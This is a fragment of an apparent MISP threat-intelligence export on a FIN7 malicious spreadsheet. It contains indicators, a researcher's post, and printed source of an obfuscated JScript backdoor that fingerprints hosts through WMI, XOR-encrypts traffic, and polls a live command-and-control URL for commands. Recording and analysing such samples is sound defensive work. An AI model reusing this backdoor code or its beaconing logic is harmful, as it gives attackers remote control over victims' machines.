"value":"// Bank Statement James Fifeman.xls\r\n// C2: hxxps://msdn-update[.]com/\r\n// SHA-256: 1fe27e0a84a5bd2e433360fd2da5b1cad8d142ca2acbf3e256f0c99d99cb57f1\r\n\r\nfunction anonymous() {\r\n var zbegbiwhuhro = \"&id=\";\r\n var ihebgysipc = \"fetch\";\r\n var yfusrihyny = \"\";\r\n var tindajrurke = \"get_image\";\r\n var ytysqyprozlibx = \"string\";\r\n var otocywviso = \"no\";\r\n var otbybimollu = \"Unknown\";\r\n var evaritpequx = \"Scripting.FileSystemObject\";\r\n var yqpawymfikorh = \"_\";\r\n var koficijojhi = \"/\";\r\n var inoxhegzajw = \"action=get_command\";\r\n var ihunuxfip = \"request\";\r\n var edomsecejso = \"z\";\r\n var lwilpotasvo = \"create_logo\";\r\n var vimkiwono = \"string\";\r\n var pidwagunit = \"%APPDATA%\";\r\n var gqyxqohoftupi = \"winmgmts:root/CIMV2\";\r\n var erzirolonje = \"create_image\";\r\n var esajigfown = \"decrypt\";\r\n var ewypetevhu = \"?request=page\";\r\n var bgixmabefzaqnu = \"show_ico\";\r\n var huzzakrowopvu = \"\";\r\n var zexygrogy = \"\";\r\n var iwpodhexzubc = \"images\";\r\n var bbymyruztovpi = \"WScript.Shell\";\r\n var xaprislyhbulf = \"show_jpg\";\r\n var inbypzethezag = \"&\";\r\n var ucmomadgib = \"request\";\r\n var vjiwumhojarse = \"group=zsoc._1305&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=\";\r\n var cedlihrijalti = \"?request=content&id=\";\r\n var kyppaltuwti = \"image\";\r\n var ejogamygpu = \"MSXML2.ServerXMLHTTP\";\r\n var cylofalpitx = \"content\";\r\n var fifuwacdez = \"encrypt\";\r\n var atkudecaxme = \"decrypt\";\r\n var obawufdoxsa = \"\";\r\n var bhomnismictu = \"encrypt\";\r\n var ocsekeltan = \"show_png\";\r\n var vivijsozvali = \"User-Agent\";\r\n var yracypcamos = \"no\";\r\n var kexerobi = \"cdn\";\r\n var inamvagtixjyxj = \"POST\";\r\n var usubhejreva = \"_\";\r\n var jaxylibpafl = \"\";\r\n var hbanamyklujt = \"\";\r\n var bvaxoqwetmodg = \"agyjabam=\";\r\n var ditevnaqa = \"https://msdn-update.com/\";\r\n var wegmexxabha = \"POST\";\r\n var dnanehmufride = \"encrypt\";\r\n var fypalygos = \"application/x-www-form-urlencoded\";\r\n var urmuqizemz = \"Content-Type\";\r\n\r\n function id() {\r\n var lrequest = wmi.ExecQuery(\"select * from Win32_NetworkAdapterConfiguration where ipenabled = true\");\r\n var lItems = new Enumerator(lrequest);\r\n for (; !lItems.atEnd(); lItems.moveNext()) {\r\n var mac = lItems.item().macaddress;\r\n var dns_hostname = lItems.item().DNSHostName;\r\n if (typeof mac === vimkiwono && mac.length > 1) {\r\n if (typeof dns_hostname !== vimkiwono && dns_hostname.length < 1) {\r\n dns_hostname = otbybimollu;\r\n } else {\r\n for (var i = 0; i < dns_hostname.length; i++) {\r\n if (dns_hostname.charAt(i) > edomsecejso) {\r\n dns_hostname = dns_hostname.substr(0, i) + yqpawymfikorh + dns_hostname.substr(i + 1);\r\n }\r\n }\r\n }\r\n return mac + yqpawymfikorh + dns_hostname;\r\n }\r\n }\r\n }\r\n\r\n function crypt_controller(type, request) {\r\n var encryption_key = obawufdoxsa;\r\n if (type === esajigfown) {\r\n request = unescape(request);\r\n var request_split = request.split(\")*(\");\r\nrequest=request_split[0];\r\nencryption_key=request_split[1].split(obawufdoxsa);\r\n}else{\r\nencryption_key=(Math.floor(Math.random()*9000)+1000).toString().split(obawufdoxsa);\r\nrequest=unescape(encodeURIComponent(request));\r\n}\r\nvaroutput=newArray(request.length);\r\nfor(vari=0;i<request.length;i++){\r\nvarcharCode=request.charCodeAt(i)^encryption_key[i%encryption_key.length].charCodeAt(0);\r\noutput[i]=String.fromCharCod
},
{
"category":"Network activity",
"comment":"C2",
"deleted":false,
"disable_correlation":false,
"timestamp":"1557823797",
"to_ids":true,
"type":"url",
"uuid":"5cda8135-1174-4cd2-ae6b-456d950d210f",
"value":"https://msdn-update.com/"
}
],
"Object":[
{
"comment":"",
"deleted":false,
"description":"Microblog post like a Twitter tweet or a post on a Facebook wall.",
"value":"@VK_Intel\r\n Moar #FIN7 (link: https://www.virustotal.com/#/file/1fe27e0a84a5bd2e433360fd2da5b1cad8d142ca2acbf3e256f0c99d99cb57f1/detection) virustotal.com/#/file/1fe27e0\u00e2\u20ac\u00a6\r\nCscript renamed to mswmex57.exe and run from Contacts directory. JavaScript from UserForm1 placed in querlog.txt just like old times. New C2 though: hxxps://msdn-update[.]com/"
